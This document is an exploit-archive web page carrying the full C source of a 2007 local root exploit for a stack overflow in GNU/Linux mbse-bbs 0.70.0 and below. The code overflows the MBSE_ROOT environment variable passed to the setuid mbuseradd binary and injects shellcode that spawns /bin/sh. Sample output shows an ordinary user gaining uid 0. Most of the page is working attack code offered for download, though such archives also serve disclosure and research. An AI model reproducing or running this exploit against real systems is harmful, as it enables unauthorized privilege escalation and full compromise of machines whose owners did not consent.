exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

prdelka-vs-GNU-mbsebbs.c

prdelka-vs-GNU-mbsebbs.c
Posted Jan 20, 2007
Authored by prdelka | Site prdelka.blackart.org.uk

GNU/Linux mbse-bbs versions 0.70.0 and below local root exploit that makes use of a stack overflow.

tags | exploit, overflow, local, root
systems | linux
SHA-256 | b9b6c8e90f30995598ab9252882b6e7bfe68361174d80d1b09bb34e24378764c

prdelka-vs-GNU-mbsebbs.c

Change Mirror Download
/* GNU/Linux mbse-bbs 0.70.0 & below stack overflow exploit
* ========================================================
* Multiple overflow conditions occur within mbse-bbs versions 0.70.0 & below.
* The current version of mbse-bbs does not contain these weaknesses.
* Exploitation of these vulnerabilities can facilitate a privilege escalation
* attack in which an unprivileged user becomes root. Exploit calculates
* return address where ASLR is not in use. Vulnerable code is shown below;
*
* matthew@localhost ~/foo/mbsebbs-0.70.0/unix $ cat -n mbuseradd.c
* ...
* 177 shell = calloc(PATH_MAX, sizeof(char));
* ...
* 228 sprintf(shell, "%s/bin/mbsebbs", getenv("MBSE_ROOT"));
*
* (heap corruption in 0.33.17/stack overflow in others).
* *** glibc detected *** free(): invalid next size (normal): 0x0804e068 ***
*
* Example Usage.
* matthew@localhost ~ $ id
* uid=1000(matthew) gid=100(users) groups=10(wheel),100(users)
* matthew@localhost ~ $ ./prdelka-vs-GNU-mbsebbs /opt/mbse/bin/mbuseradd
* [ GNU/Linux mbse-bbs 0.70.0 & below stack overflow exploit
* [ Using return address 0xbfffefd8
* sh-3.1# id
* uid=0(root) gid=1(bin) groups=10(wheel),100(users)
*
* - prdelka
*/
#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x68""//sh""\x68""/bin""\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc,char* argv[]) {
int i;
long eip = 0x41414141;
char envh[]="MBSE_ROOT=";
printf("[ GNU/Linux mbse-bbs 0.70.0 & below stack overflow exploit\n");
if(argc < 2) {
printf("Error: [path]\n");
exit(0);
}
char* buffer = malloc(strlen(envh) + 4062 + sizeof(eip));
memset(buffer,0,strlen(envh) + 4062 + sizeof(eip));
strcpy(buffer,envh);
long ptr = (long)buffer;
for(i = 1;i <= 4061;i++){
strncat(buffer,"A",1);
}
ptr = ptr + 4061;
memcpy((char*)ptr,(char*)&eip,4);
eip = 0xc0000000 -4 -strlen(argv[1]) -1 -strlen(buffer) -1 -strlen(shellcode) -1;
memcpy((char*)ptr,(char*)&eip,4);
char *env[] = {buffer,NULL};
printf("[ Using return address 0x%x\n",eip);
execle(argv[1],argv[1],"x","x","x",shellcode,NULL,env);
exit(0);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close